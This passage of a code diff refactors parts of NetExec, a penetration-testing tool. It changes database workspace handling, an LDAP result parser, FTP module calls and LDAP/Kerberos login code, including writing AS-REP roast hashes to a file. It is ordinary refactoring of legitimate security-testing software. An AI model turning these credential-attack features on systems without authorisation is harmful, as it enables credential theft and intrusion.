from nxc.database import create_db_engine, open_config, get_workspace, get_db, write_configfile, create_workspace, set_workspace
|
||||
|
||||
|
||||
class UserExitedProto(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def create_db_engine(db_path):
|
||||
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
|
||||
|
||||
|
||||
def print_table(data, title=None):
|
||||
print()
|
||||
table = AsciiTable(data)
|
||||
@@ -446,29 +440,15 @@ class NXCDBMenu(cmd.Cmd):
|
||||
def __init__(self, config_path):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.config_path = config_path
|
||||
|
||||
try:
|
||||
self.config = configparser.ConfigParser()
|
||||
self.config.read(self.config_path)
|
||||
except Exception as e:
|
||||
print(f"[-] Error reading nxc.conf: {e}")
|
||||
sys.exit(1)
|
||||
|
||||
self.conn = None
|
||||
self.p_loader = ProtocolLoader()
|
||||
self.protocols = self.p_loader.get_protocols()
|
||||
|
||||
self.workspace = self.config.get("nxc", "workspace")
|
||||
self.config = open_config(self.config_path)
|
||||
self.workspace = get_workspace(self.config)
|
||||
self.db = get_db(self.config)
|
||||
self.do_workspace(self.workspace)
|
||||
|
||||
self.db = self.config.get("nxc", "last_used_db")
|
||||
if self.db:
|
||||
self.do_proto(self.db)
|
||||
|
||||
def write_configfile(self):
|
||||
with open(self.config_path, "w") as configfile:
|
||||
self.config.write(configfile)
|
||||
|
||||
def do_proto(self, proto):
|
||||
if not proto:
|
||||
return
|
||||
@@ -479,7 +459,7 @@ class NXCDBMenu(cmd.Cmd):
|
||||
db_nav_object = self.p_loader.load_protocol(self.protocols[proto]["nvpath"])
|
||||
db_object = self.p_loader.load_protocol(self.protocols[proto]["dbpath"])
|
||||
self.config.set("nxc", "last_used_db", proto)
|
||||
self.write_configfile()
|
||||
write_configfile(self.config, self.config_path)
|
||||
try:
|
||||
proto_menu = db_nav_object.navigator(self, db_object.database(self.conn), proto)
|
||||
proto_menu.cmdloop()
|
||||
@@ -506,18 +486,18 @@ class NXCDBMenu(cmd.Cmd):
|
||||
if subcommand == "create":
|
||||
new_workspace = line.split()[1].strip()
|
||||
print(f"[*] Creating workspace '{new_workspace}'")
|
||||
self.create_workspace(new_workspace, self.p_loader, self.protocols)
|
||||
create_workspace(new_workspace, self.p_loader)
|
||||
self.do_workspace(new_workspace)
|
||||
elif subcommand == "list":
|
||||
print("[*] Enumerating Workspaces")
|
||||
for workspace in listdir(path_join(WORKSPACE_DIR)):
|
||||
if workspace == self.workspace:
|
||||
print("==> " + workspace)
|
||||
print(f" * {colored(workspace, 'green')}")
|
||||
else:
|
||||
print(workspace)
|
||||
print(f" {workspace}")
|
||||
elif exists(path_join(WORKSPACE_DIR, line)):
|
||||
self.config.set("nxc", "workspace", line)
|
||||
self.write_configfile()
|
||||
write_configfile(self.config, self.config_path)
|
||||
self.workspace = line
|
||||
self.prompt = f"nxcdb ({line}) > "
|
||||
|
||||
@@ -532,71 +512,60 @@ class NXCDBMenu(cmd.Cmd):
|
||||
def do_exit(line):
|
||||
sys.exit()
|
||||
|
||||
@staticmethod
|
||||
def do_EOF(line):
|
||||
sys.exit()
|
||||
|
||||
|
||||
@staticmethod
|
||||
def help_exit():
|
||||
help_string = """
|
||||
Exits
|
||||
"""
|
||||
print_help(help_string)
|
||||
|
||||
@staticmethod
|
||||
def create_workspace(workspace_name, p_loader, protocols):
|
||||
os.mkdir(path_join(WORKSPACE_DIR, workspace_name))
|
||||
|
||||
for protocol in protocols:
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
|
||||
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
|
||||
|
||||
if not exists(proto_db_path):
|
||||
print(f"[*] Initializing {protocol.upper()} protocol database")
|
||||
conn = connect(proto_db_path)
|
||||
c = conn.cursor()
|
||||
|
||||
# try to prevent some weird sqlite I/O errors
|
||||
c.execute("PRAGMA journal_mode = OFF")
|
||||
c.execute("PRAGMA foreign_keys = 1")
|
||||
|
||||
protocol_object.database.db_schema(c)
|
||||
|
||||
# commit the changes and close everything off
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
|
||||
def delete_workspace(workspace_name):
|
||||
shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
|
||||
|
||||
|
||||
def initialize_db(logger):
|
||||
if not exists(path_join(WS_PATH, "default")):
|
||||
logger.debug("Creating default workspace")
|
||||
os.mkdir(path_join(WS_PATH, "default"))
|
||||
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
for protocol in protocols:
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
|
||||
proto_db_path = path_join(WS_PATH, "default", f"{protocol}.db")
|
||||
|
||||
if not exists(proto_db_path):
|
||||
logger.debug(f"Initializing {protocol.upper()} protocol database")
|
||||
conn = connect(proto_db_path)
|
||||
c = conn.cursor()
|
||||
# try to prevent some weird sqlite I/O errors
|
||||
c.execute("PRAGMA journal_mode = OFF") # could try setting to PERSIST if DB corruption starts occurring
|
||||
c.execute("PRAGMA foreign_keys = 1")
|
||||
# set a small timeout (5s) so if another thread is writing to the database, the entire program doesn't crash
|
||||
c.execute("PRAGMA busy_timeout = 5000")
|
||||
protocol_object.database.db_schema(c)
|
||||
# commit the changes and close everything off
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
|
||||
|
||||
def main():
|
||||
if not exists(CONFIG_PATH):
|
||||
print("[-] Unable to find config file")
|
||||
sys.exit(1)
|
||||
|
||||
parser = argparse.ArgumentParser(
|
||||
description="NXCDB is a database navigator for NXC",
|
||||
)
|
||||
parser.add_argument(
|
||||
"-gw",
|
||||
"--get-workspace",
|
||||
action="store_true",
|
||||
help="get the current workspace",
|
||||
)
|
||||
parser.add_argument(
|
||||
"-cw",
|
||||
"--create-workspace",
|
||||
help="create a new workspace",
|
||||
)
|
||||
parser.add_argument(
|
||||
"-sw",
|
||||
"--set-workspace",
|
||||
help="set the current workspace",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.create_workspace:
|
||||
create_workspace(args.create_workspace)
|
||||
sys.exit()
|
||||
if args.set_workspace:
|
||||
set_workspace(CONFIG_PATH, args.set_workspace)
|
||||
sys.exit()
|
||||
if args.get_workspace:
|
||||
current_workspace = get_workspace(open_config(CONFIG_PATH))
|
||||
for workspace in listdir(path_join(WORKSPACE_DIR)):
|
||||
if workspace == current_workspace:
|
||||
print(f" * {colored(workspace, 'green')}")
|
||||
else:
|
||||
print(f" {workspace}")
|
||||
sys.exit()
|
||||
|
||||
try:
|
||||
nxcdbnav = NXCDBMenu(CONFIG_PATH)
|
||||
nxcdbnav.cmdloop()
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
def parse_result_attributes(ldap_response):
|
||||
parsed_response = []
|
||||
for entry in ldap_response:
|
||||
# SearchResultReferences may be returned
|
||||
if not isinstance(entry, ldapasn1_impacket.SearchResultEntry):
|
||||
continue
|
||||
attribute_map = {}
|
||||
for attribute in entry["attributes"]:
|
||||
val = [str(val).encode(val.encoding).decode("utf-8") for val in attribute["vals"].components]
|
||||
attribute_map[str(attribute["type"])] = val if len(val) > 1 else val[0]
|
||||
parsed_response.append(attribute_map)
|
||||
return parsed_response
|
||||
+4
-3
@@ -3,12 +3,13 @@ import sys
|
||||
import nxc
|
||||
|
||||
NXC_PATH = os.path.expanduser("~/.nxc")
|
||||
TMP_PATH = os.path.join("/tmp", "nxc_hosted")
|
||||
if os.name == "nt":
|
||||
TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\nxc_hosted"
|
||||
if hasattr(sys, "getandroidapilevel"):
|
||||
elif hasattr(sys, "getandroidapilevel"):
|
||||
TMP_PATH = os.path.join("/data", "data", "com.termux", "files", "usr", "tmp", "nxc_hosted")
|
||||
WS_PATH = os.path.join(NXC_PATH, "workspaces")
|
||||
else:
|
||||
TMP_PATH = os.path.join("/tmp", "nxc_hosted")
|
||||
|
||||
CERT_PATH = os.path.join(NXC_PATH, "nxc.pem")
|
||||
CONFIG_PATH = os.path.join(NXC_PATH, "nxc.conf")
|
||||
WORKSPACE_DIR = os.path.join(NXC_PATH, "workspaces")
|
||||
|
||||
@@ -25,7 +25,13 @@ class ftp(connection):
|
||||
def proto_flow(self):
|
||||
self.proto_logger()
|
||||
if self.create_conn_obj() and self.enum_host_info() and self.print_host_info() and self.login():
|
||||
pass
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.load_modules()
|
||||
self.logger.debug("Calling modules")
|
||||
self.call_modules()
|
||||
else:
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
|
||||
def enum_host_info(self):
|
||||
welcome = self.conn.getwelcome()
|
||||
|
||||
@@ -1,31 +1,23 @@
|
||||
from pathlib import Path
|
||||
import sys
|
||||
|
||||
from sqlalchemy import Table, select, delete, func
|
||||
from sqlalchemy.dialects.sqlite import Insert
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table, select, delete, func
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
|
||||
from nxc.database import BaseDB
|
||||
from nxc.logger import nxc_logger
|
||||
import sys
|
||||
|
||||
|
||||
class database:
|
||||
class database(BaseDB):
|
||||
def __init__(self, db_engine):
|
||||
self.CredentialsTable = None
|
||||
self.HostsTable = None
|
||||
self.LoggedinRelationsTable = None
|
||||
|
||||
self.db_engine = db_engine
|
||||
self.db_path = self.db_engine.url.database
|
||||
self.protocol = Path(self.db_path).stem.upper()
|
||||
self.metadata = MetaData()
|
||||
self.reflect_tables()
|
||||
|
||||
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
|
||||
Session = scoped_session(session_factory)
|
||||
self.sess = Session()
|
||||
super().__init__(db_engine)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
@@ -74,32 +66,19 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
sys.exit()
|
||||
|
||||
def shutdown_db(self):
|
||||
try:
|
||||
self.sess.close()
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
for table in self.metadata.sorted_tables:
|
||||
self.sess.execute(table.delete())
|
||||
|
||||
def add_host(self, host, port, banner):
|
||||
"""Check if this host is already in the DB, if not add it"""
|
||||
hosts = []
|
||||
updated_ids = []
|
||||
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.host == host)
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# create new host
|
||||
if not results:
|
||||
@@ -133,7 +112,7 @@ class database:
|
||||
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
|
||||
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
|
||||
|
||||
self.sess.execute(q, hosts) # .scalar()
|
||||
self.db_execute(q, hosts) # .scalar()
|
||||
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
|
||||
if updated_ids:
|
||||
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
|
||||
@@ -143,8 +122,9 @@ class database:
|
||||
"""Check if this credential has already been added to the database, if not add it in."""
|
||||
credentials = []
|
||||
|
||||
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username), func.lower(self.CredentialsTable.c.password) == func.lower(password))
|
||||
results = self.sess.execute(q).all()
|
||||
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username),
|
||||
func.lower(self.CredentialsTable.c.password) == func.lower(password))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# add new credential
|
||||
if not results:
|
||||
@@ -170,10 +150,11 @@ class database:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q_users = Insert(self.CredentialsTable) # .returning(self.CredentialsTable.c.id)
|
||||
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
|
||||
q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key, set_=update_columns_users)
|
||||
q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key,
|
||||
set_=update_columns_users)
|
||||
nxc_logger.debug(f"Adding credentials: {credentials}")
|
||||
|
||||
self.sess.execute(q_users, credentials) # .scalar()
|
||||
self.db_execute(q_users, credentials) # .scalar()
|
||||
|
||||
# hacky way to get cred_id since we can't use returning() yet
|
||||
if len(credentials) == 1:
|
||||
@@ -187,7 +168,7 @@ class database:
|
||||
for cred_id in creds_id:
|
||||
q = delete(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id)
|
||||
del_hosts.append(q)
|
||||
self.sess.execute(q)
|
||||
self.db_execute(q)
|
||||
|
||||
def is_credential_valid(self, credential_id):
|
||||
"""Check if this credential ID is valid."""
|
||||
@@ -195,7 +176,7 @@ class database:
|
||||
self.CredentialsTable.c.id == credential_id,
|
||||
self.CredentialsTable.c.password is not None,
|
||||
)
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_credential(self, username, password):
|
||||
@@ -203,7 +184,7 @@ class database:
|
||||
self.CredentialsTable.c.username == username,
|
||||
self.CredentialsTable.c.password == password,
|
||||
)
|
||||
results = self.sess.execute(q).first()
|
||||
results = self.db_execute(q).first()
|
||||
if results is not None:
|
||||
return results.id
|
||||
|
||||
@@ -220,12 +201,12 @@ class database:
|
||||
else:
|
||||
q = select(self.CredentialsTable)
|
||||
|
||||
return self.sess.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def is_host_valid(self, host_id):
|
||||
"""Check if this host ID is valid."""
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_hosts(self, filter_term=None):
|
||||
@@ -235,26 +216,26 @@ class database:
|
||||
# if we're returning a single host by ID
|
||||
if self.is_host_valid(filter_term):
|
||||
q = q.filter(self.HostsTable.c.id == filter_term)
|
||||
results = self.sess.execute(q).first()
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
# if we're filtering by host
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = q.filter(self.HostsTable.c.host.like(like_term))
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
nxc_logger.debug(f"FTP get_hosts() - results: {results}")
|
||||
return results
|
||||
|
||||
def is_user_valid(self, cred_id):
|
||||
"""Check if this User ID is valid."""
|
||||
q = select(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id)
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_user(self, username):
|
||||
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username))
|
||||
return self.sess.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_users(self, filter_term=None):
|
||||
q = select(self.CredentialsTable)
|
||||
@@ -265,14 +246,14 @@ class database:
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = q.filter(func.lower(self.CredentialsTable.c.username).like(like_term))
|
||||
return self.sess.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def add_loggedin_relation(self, cred_id, host_id):
|
||||
relation_query = select(self.LoggedinRelationsTable).filter(
|
||||
self.LoggedinRelationsTable.c.credid == cred_id,
|
||||
self.LoggedinRelationsTable.c.hostid == host_id,
|
||||
)
|
||||
results = self.sess.execute(relation_query).all()
|
||||
results = self.db_execute(relation_query).all()
|
||||
|
||||
# only add one if one doesn't already exist
|
||||
if not results:
|
||||
@@ -282,7 +263,7 @@ class database:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
|
||||
|
||||
self.sess.execute(q, [relation]) # .scalar()
|
||||
self.db_execute(q, [relation]) # .scalar()
|
||||
inserted_id_results = self.get_loggedin_relations(cred_id, host_id)
|
||||
nxc_logger.debug(f"Checking if relation was added: {inserted_id_results}")
|
||||
return inserted_id_results[0].id
|
||||
@@ -295,7 +276,7 @@ class database:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id)
|
||||
if host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
return self.sess.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def remove_loggedin_relations(self, cred_id=None, host_id=None):
|
||||
q = delete(self.LoggedinRelationsTable)
|
||||
@@ -303,7 +284,7 @@ class database:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id)
|
||||
elif host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
self.sess.execute(q)
|
||||
self.db_execute(q)
|
||||
|
||||
def add_directory_listing(self, lir_id, data):
|
||||
pass
|
||||
|
||||
@@ -1,9 +1,12 @@
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
ftp_parser = parser.add_parser("ftp", help="own stuff using FTP", parents=[std_parser, module_parser])
|
||||
ftp_parser.add_argument("--port", type=int, default=21, help="FTP port (default: 21)")
|
||||
from nxc.helpers.args import DisplayDefaultsNotNone
|
||||
|
||||
cgroup = ftp_parser.add_argument_group("FTP Access", "Options for enumerating your access")
|
||||
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List files in the directory, ex: --ls or --ls Directory")
|
||||
cgroup.add_argument("--get", metavar="FILE", help="Download a file, ex: --get fileName.txt")
|
||||
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file, ex: --put inputFileName.txt outputFileName.txt")
|
||||
|
||||
def proto_args(parser, parents):
|
||||
ftp_parser = parser.add_parser("ftp", help="own stuff using FTP", parents=parents, formatter_class=DisplayDefaultsNotNone)
|
||||
ftp_parser.add_argument("--port", type=int, default=21, help="FTP port")
|
||||
|
||||
cgroup = ftp_parser.add_argument_group("File Operations", "Options for enumerating and interacting with files on the target")
|
||||
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List files in the directory")
|
||||
cgroup.add_argument("--get", metavar="FILE", help="Download a file")
|
||||
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file")
|
||||
return parser
|
||||
+242
-184
@@ -5,7 +5,7 @@ import hmac
|
||||
import os
|
||||
import socket
|
||||
from binascii import hexlify
|
||||
from datetime import datetime
|
||||
from datetime import datetime, timedelta
|
||||
from re import sub, I
|
||||
from zipfile import ZipFile
|
||||
from termcolor import colored
|
||||
@@ -28,6 +28,7 @@ from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
|
||||
from impacket.krb5.types import Principal, KerberosException
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap.ldap import LDAPFilterSyntaxError
|
||||
from impacket.smb import SMB_DIALECT
|
||||
from impacket.smbconnection import SMBConnection, SessionError
|
||||
|
||||
@@ -38,6 +39,7 @@ from nxc.logger import NXCAdapter, nxc_logger
|
||||
from nxc.protocols.ldap.bloodhound import BloodHound
|
||||
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
|
||||
from nxc.protocols.ldap.kerberos import KerberosAttacks
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
ldap_error_status = {
|
||||
"1": "STATUS_NOT_SUPPORTED",
|
||||
@@ -165,17 +167,17 @@ class ldap(connection):
|
||||
ldap_url = f"{proto}://{host}"
|
||||
self.logger.info(f"Connecting to {ldap_url} with no baseDN")
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(ldap_url)
|
||||
ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host)
|
||||
if ldap_connection:
|
||||
self.logger.debug(f"ldap_connection: {ldap_connection}")
|
||||
except SysCallError as e:
|
||||
if proto == "ldaps":
|
||||
self.logger.debug(f"LDAPs connection to {ldap_url} failed - {e}")
|
||||
self.logger.fail(f"LDAPs connection to {ldap_url} failed - {e}")
|
||||
# https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority
|
||||
self.logger.debug("Even if the port is open, LDAPS may not be configured")
|
||||
self.logger.fail("Even if the port is open, LDAPS may not be configured")
|
||||
else:
|
||||
self.logger.debug(f"LDAP connection to {ldap_url} failed: {e}")
|
||||
return [None, None, None]
|
||||
self.logger.fail(f"LDAP connection to {ldap_url} failed: {e}")
|
||||
exit(1)
|
||||
|
||||
resp = ldap_connection.search(
|
||||
scope=ldapasn1_impacket.Scope("baseObject"),
|
||||
@@ -212,6 +214,7 @@ class ldap(connection):
|
||||
try:
|
||||
string_binding = rf"ncacn_ip_tcp:{self.host}[135]"
|
||||
transport = DCERPCTransportFactory(string_binding)
|
||||
transport.setRemoteHost(self.host)
|
||||
transport.set_connect_timeout(5)
|
||||
dce = transport.get_dce_rpc()
|
||||
if self.args.kerberos:
|
||||
@@ -251,11 +254,10 @@ class ldap(connection):
|
||||
def enum_host_info(self):
|
||||
self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
|
||||
self.hostname = self.target
|
||||
self.remoteName = self.target
|
||||
self.domain = self.targetDomain
|
||||
# smb no open, specify the domain
|
||||
if self.args.no_smb:
|
||||
self.domain = self.args.domain
|
||||
else:
|
||||
if not self.args.no_smb:
|
||||
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
|
||||
|
||||
try:
|
||||
@@ -266,8 +268,8 @@ class ldap(connection):
|
||||
if "STATUS_NOT_SUPPORTED" in str(e):
|
||||
self.no_ntlm = True
|
||||
if not self.no_ntlm:
|
||||
self.domain = self.conn.getServerDNSDomainName()
|
||||
self.hostname = self.conn.getServerName()
|
||||
self.targetDomain = self.domain = self.conn.getServerDNSDomainName()
|
||||
self.server_os = self.conn.getServerOS()
|
||||
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"]
|
||||
self.os_arch = self.get_os_arch()
|
||||
@@ -275,6 +277,11 @@ class ldap(connection):
|
||||
|
||||
if not self.domain:
|
||||
self.domain = self.hostname
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
|
||||
|
||||
try: # noqa: SIM105
|
||||
# DC's seem to want us to logoff first, windows workstations sometimes reset the connection
|
||||
@@ -282,40 +289,32 @@ class ldap(connection):
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
# Re-connect since we logged off
|
||||
self.create_conn_obj()
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
|
||||
|
||||
if not self.kdcHost and self.domain:
|
||||
result = self.resolver(self.domain)
|
||||
self.kdcHost = result["host"] if result else None
|
||||
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
|
||||
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}".replace(":", "-"))
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.debug("Printing host info for LDAP")
|
||||
if self.args.no_smb:
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "389"
|
||||
self.logger.display(f"Connecting to LDAP {self.hostname}")
|
||||
self.logger.extra["protocol"] = "LDAP" if self.port == 389 else "LDAPS"
|
||||
self.logger.extra["port"] = self.port
|
||||
self.logger.display(f'{self.baseDN} (Hostname: {self.hostname.split(".")[0]}) (domain: {self.domain})')
|
||||
else:
|
||||
self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP"
|
||||
self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
|
||||
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
|
||||
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
|
||||
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({smbv1})")
|
||||
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
return True
|
||||
|
||||
def kerberos_login(
|
||||
self,
|
||||
domain,
|
||||
username,
|
||||
password="",
|
||||
ntlm_hash="",
|
||||
aesKey="",
|
||||
kdcHost="",
|
||||
useCache=False,
|
||||
):
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.domain = domain
|
||||
@@ -342,42 +341,29 @@ class ldap(connection):
|
||||
if hash_tgt:
|
||||
self.logger.highlight(f"{hash_tgt}")
|
||||
with open(self.args.asreproast, "a+") as hash_asreproast:
|
||||
hash_asreproast.write(hash_tgt + "\n")
|
||||
hash_asreproast.write(f"{hash_tgt}\n")
|
||||
return False
|
||||
|
||||
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else ""
|
||||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} [1]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
|
||||
self.ldapConnection.kerberosLogin(
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
aesKey,
|
||||
kdcHost=kdcHost,
|
||||
useCache=useCache,
|
||||
)
|
||||
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
if self.username == "":
|
||||
self.username = self.get_ldap_username()
|
||||
|
||||
self.check_if_admin()
|
||||
|
||||
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
||||
out = f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
|
||||
self.logger.success(f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
|
||||
|
||||
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -399,7 +385,7 @@ class ldap(connection):
|
||||
return False
|
||||
except (KeyError, KerberosException, OSError) as e:
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {e!s}",
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {e!s}",
|
||||
color="red",
|
||||
)
|
||||
return False
|
||||
@@ -408,33 +394,21 @@ class ldap(connection):
|
||||
# We need to try SSL
|
||||
try:
|
||||
# Connect to LDAPS
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
